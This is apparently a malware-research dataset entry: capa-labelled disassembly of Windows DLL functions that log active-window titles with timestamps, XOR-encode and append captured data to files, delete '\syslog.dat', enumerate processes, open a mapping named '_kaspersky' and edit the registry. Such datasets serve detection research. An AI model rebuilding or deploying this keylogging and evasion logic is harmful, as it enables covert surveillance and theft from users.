joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008890
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
sub esp, 0x128
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 5], cl
mov byte [esp + 0xa], cl
mov byte [esp + 0xb], cl
mov cl, 0x74
mov byte [esp + 1], al
mov byte [esp + 4], al
mov byte [esp + 0x11], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1c], al
mov byte [esp + 0x12], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
lea eax, [esp + 0x10]
lea ecx, [esp]
mov dl, 0x72
push eax
push ecx
mov byte [esp + 8], 0x6b
mov byte [esp + 0xa], dl
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xe], 0x33
mov byte [esp + 0xf], 0x32
mov byte [esp + 0x10], 0x2e
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x14], 0
mov byte [esp + 0x18], 0x47
mov byte [esp + 0x1b], 0x53
mov byte [esp + 0x1c], 0x79
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x20], 0x6d
mov byte [esp + 0x21], 0x44
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], dl
mov byte [esp + 0x25], 0x63
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], dl
mov byte [esp + 0x29], 0x79
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x24]
push 0x104
push edx
call eax
lea eax, [esp + 0x24]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x128
ret

Function at 0x10008980
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x34]
push edi
push ecx
call ebx
test eax, eax
je 0x100089dd
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x100089e1
lea eax, [esp + 0x34]
push edi
push eax
call ebx
test eax, eax
jne 0x100089c2
mov ebp, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x10008b30
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push str.lstrcatA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [0x10021f2c]
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10008b94
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x18]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x10008bc2
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebp
jne 0x10008bb6
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10008bf0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x910
push ebx
push ebp
push esi
push edi
push str.lstrcatA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [esp + 0x924]
mov ebp, eax
test ebx, ebx
je 0x10008d50
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
cmp esi, 1
jb 0x10008d50
cmp esi, 0x80
ja 0x10008d50
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov edx, dword [0x10021f2c]
cmp eax, dword [edx + 8]
je 0x10008d00
mov dword [edx + 8], eax
mov ecx, dword [0x10021f2c]
lea eax, [esp + 0x20]
push pe_nt_image_headers32
mov edx, dword [ecx + 8]
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x1c]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x120]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x1a]
lea ecx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x1c]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x18]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x22]
push ecx
mov ecx, dword [esp + 0x22]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
lea edx, [esp + 0x13c]
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x144]
push eax
call fcn.10008bf0
mov edx, dword [0x10021f2c]
add esp, 0x28
mov al, byte [edx + 0xc]
test al, al
je 0x10008d16
push ebx
call fcn.10008b30
mov edx, dword [0x10021f2c]
add esp, 4
mov ecx, dword [edx]
add ecx, esi
cmp ecx, 0x400
jbe 0x10008d3f
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [edx + 0x111]
rep stosd dword es:[edi], eax
mov edx, dword [0x10021f2c]
mov dword [edx], eax
mov edx, dword [0x10021f2c]
add edx, 0x111
push ebx
push edx
call ebp
mov eax, dword [0x10021f2c]
add dword [eax], esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x910
ret
Function at 0x10008fc0
Capabilities:
Read file via mapping

Disassembly:
push 0xffffffffffffffff
push 0x10018128
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
lea ecx, [esp + 0x14]
push esi
mov esi, 0x10019564
lea eax, [esp + 0x18]
push ecx
lea ecx, [esp + 8]
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call fcn.10009140
mov dword [esp + 8], eax
neg eax
sbb eax, eax
lea edx, [esp + 0xc]
push str._kaspersky
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x10021f30], eax
jne 0x10009050
mov dword [esp + 4], esi
mov esi, dword [esp + 8]
mov dword [esp + 0x34], 0xffffffff
jmp 0x10009078
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
mov dword [esp + 4], esi
mov esi, dword [esp + 8]
mov dword [0x10021f2c], eax
mov dword [esp + 0x34], 0xffffffff
jne 0x100090b5
test esi, esi
je 0x100090a3
push str.GetProcessHeap
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test esi, esi
je 0x100090a3
push esi
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret
test esi, esi
je 0x100090e0
push str.GetProcessHeap
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test esi, esi
je 0x100090e0
push esi
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x2c]
mov al, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret

Function at 0x10009500
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
push str.lstrcatA
mov ebp, ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [esp + 0x14]
xor edi, edi
push 0x104
push eax
mov dword [esp + 0x18], edi
call dword [0x10021f24]
lea ecx, [esp + 0x14]
push str.office.dat
push ecx
call esi
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x28]
push connect
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100095b6
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x100095a2
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x10009594
push edi
push esi
mov ecx, ebp
call fcn.100094a0
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x10009bd0
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019590
push 0x10017bf2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x10009c07
jmp dword [eax*4 + 0x10009d50]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x10009c07
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10009c07
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x10009c07
cmp edx, 2
jbe 0x10009c90
cmp edx, 4
jne case.default.0x10009c07
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x10009c07
jmp 0x10009d14
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x10009c07
jmp 0x10009d14
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10009c07
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x10009c07
jmp 0x10009d14
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x10009c07
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x10009c07
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.10009d3b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009e80
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x3c
lea eax, [esp + 8]
lea edx, [ecx + 8]
push ebx
push esi
xor esi, esi
push eax
mov eax, dword [ecx + 4]
push 0xf003f
push esi
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000a007
push eax
lea ecx, [esp + 0x2c]
push eax
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x3c]
push edx
push eax
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x30]
push esi
lea edx, [esp + 0x20]
push ecx
push edx
push esi
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x10009ede
pop esi
xor eax, eax
pop ebx
add esp, 0x3c
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 8]
test eax, eax
lea ebx, [ecx + 1]
jbe 0x1000a007
cmp ebx, 1
jbe 0x1000a007
mov esi, ebx
push ebp
imul esi, eax
add esi, 0xe
push edi
push esi
push 0x40
mov dword [esp + 0x34], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, esi
mov edx, eax
mov ebp, ecx
xor eax, eax
mov edi, edx
mov dword [esp + 0x20], edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
push ebx
and ecx, 3
inc edx
rep stosb byte es:[edi], al
mov byte [edx - 1], 0x82
mov eax, dword [esp + 0x14]
mov cl, byte [esp + 0x4c]
mov dword [edx], eax
mov eax, dword [esp + 0x48]
mov dword [edx + 4], ebx
mov dword [edx + 8], eax
mov byte [edx + 0xc], cl
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
mov eax, dword [esp + 0x14]
add esp, 4
mov dword [esp + 0x14], 0
test eax, eax
jbe 0x10009fe1
mov edx, dword [esp + 0x20]
add edx, 0xd
mov dword [esp + 0x1c], edx
mov ecx, ebx
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push 0
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push 0
lea eax, [esp + 0x34]
push 0
push eax
push ebp
push ecx
push edx
mov dword [esp + 0x48], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
add edx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x14]
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
cmp eax, ecx
mov dword [esp + 0x1c], edx
jb 0x10009f6d
mov esi, dword [esp + 0x2c]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x20]
push 0x42
push esi
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
pop edi
mov esi, eax
pop ebp
mov eax, esi
pop esi
pop ebx
add esp, 0x3c
ret
Function at 0x1000a420
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 1
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8

Function at 0x1000a460
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
lea eax, [esp]
push eax
lea eax, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push 0
push edx
push eax
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
neg eax
sbb eax, eax
inc eax
pop ecx
ret 8

Function at 0x1000a4a0
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 2
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8

Function at 0x1000a820
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100181d8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, dword [esp + 0x34]
mov dword [esp + 0xc], ecx
push edi
mov al, byte [esi]
lea ecx, [esp + 0x14]
push eax
call fcn.1000a290
lea ecx, [esi + 1]
add esi, 0xd
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], esi
mov edx, dword [ecx]
mov dword [esp + 0x1c], edx
mov ebx, dword [ecx + 4]
mov ebp, dword [ecx + 8]
test ebp, ebp
jbe 0x1000a91a
test ebx, ebx
jbe 0x1000a8c2
lea esi, [ebx + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebx
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000a350
test eax, eax
je 0x1000a911
add dword [esp + 0x38], ebx
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, dword [esp + 0x3c]
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
push edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000a3b0
test eax, eax
je 0x1000a911
mov ecx, dword [esp + 0x10]
call fcn.1000a590
jmp 0x1000a91a
mov ecx, dword [esp + 0x10]
call fcn.1000a570
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000a2f0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000a980
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x100181f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000a290
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov ebp, dword [ecx + 4]
mov dword [esp + 0x20], ebp
mov eax, dword [ecx + 8]
test eax, eax
jbe 0x1000aaaa
test ebp, ebp
jbe 0x1000aaaa
test esi, esi
jle 0x1000aa44
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000a350
test eax, eax
jne 0x1000aa31
mov ecx, dword [esp + 0x10]
call fcn.1000a570
jmp 0x1000aaaa
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [esp + 0x24]
add esp, 4
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, ebx
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
add ebx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], edx
call fcn.1000a420
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000aa98
call fcn.1000a590
jmp 0x1000aa9d
call fcn.1000a570
mov ecx, dword [esp + 0x38]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000a2f0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000ab10
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x10018218
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000a290
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov eax, dword [ecx + 4]
mov dword [esp + 0x20], eax
mov ecx, dword [ecx + 8]
test ecx, ecx
jbe 0x1000ac3e
test eax, eax
jbe 0x1000ac3e
test esi, esi
jle 0x1000abd4
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000a350
test eax, eax
jne 0x1000abc1
mov ecx, dword [esp + 0x10]
call fcn.1000a570
jmp 0x1000ac3e
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x24]
add esp, 4
lea esi, [eax + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, esi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x24]
mov edi, ebp
mov ecx, eax
add ebx, eax
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.1000aad0
add esp, 8
lea ecx, [esp + 0x14]
push eax
push ebp
call fcn.1000a3f0
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000ac30
call fcn.1000a590
jmp 0x1000ac35
call fcn.1000a570
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000a2f0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4
Function at 0x1000ac70
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x10018238
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x2c]
push ebp
push esi
mov al, byte [ebx]
mov dword [esp + 0xc], ecx
push edi
push eax
lea ecx, [esp + 0x18]
call fcn.1000a290
lea ecx, [ebx + 1]
add ebx, 0xd
mov dword [esp + 0x30], 0
mov esi, dword [ecx]
mov dword [esp + 0x1c], esi
mov ebp, dword [ecx + 4]
mov dword [esp + 0x20], ebp
mov eax, dword [ecx + 8]
test eax, eax
jbe 0x1000ad9a
test ebp, ebp
jbe 0x1000ad9a
test esi, esi
jle 0x1000ad34
lea edi, [esi + 1]
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, edi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
mov esi, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.1000a350
test eax, eax
jne 0x1000ad21
mov ecx, dword [esp + 0x10]
call fcn.1000a570
jmp 0x1000ad9a
mov edx, dword [esp + 0x1c]
push ebp
add ebx, edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ebp, dword [esp + 0x24]
add esp, 4
lea esi, [ebp + 1]
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
mov ecx, esi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
mov esi, ebx
and ecx, 3
add esp, 4
rep stosb byte es:[edi], al
mov ecx, ebp
mov edi, edx
mov eax, ecx
add ebx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], edx
call fcn.1000a4a0
mov ecx, dword [esp + 0x10]
test eax, eax
je 0x1000ad88
call fcn.1000a590
jmp 0x1000ad8d
call fcn.1000a570
mov ecx, dword [esp + 0x38]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x14]
mov dword [esp + 0x30], 0xffffffff
call fcn.1000a2f0
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret 4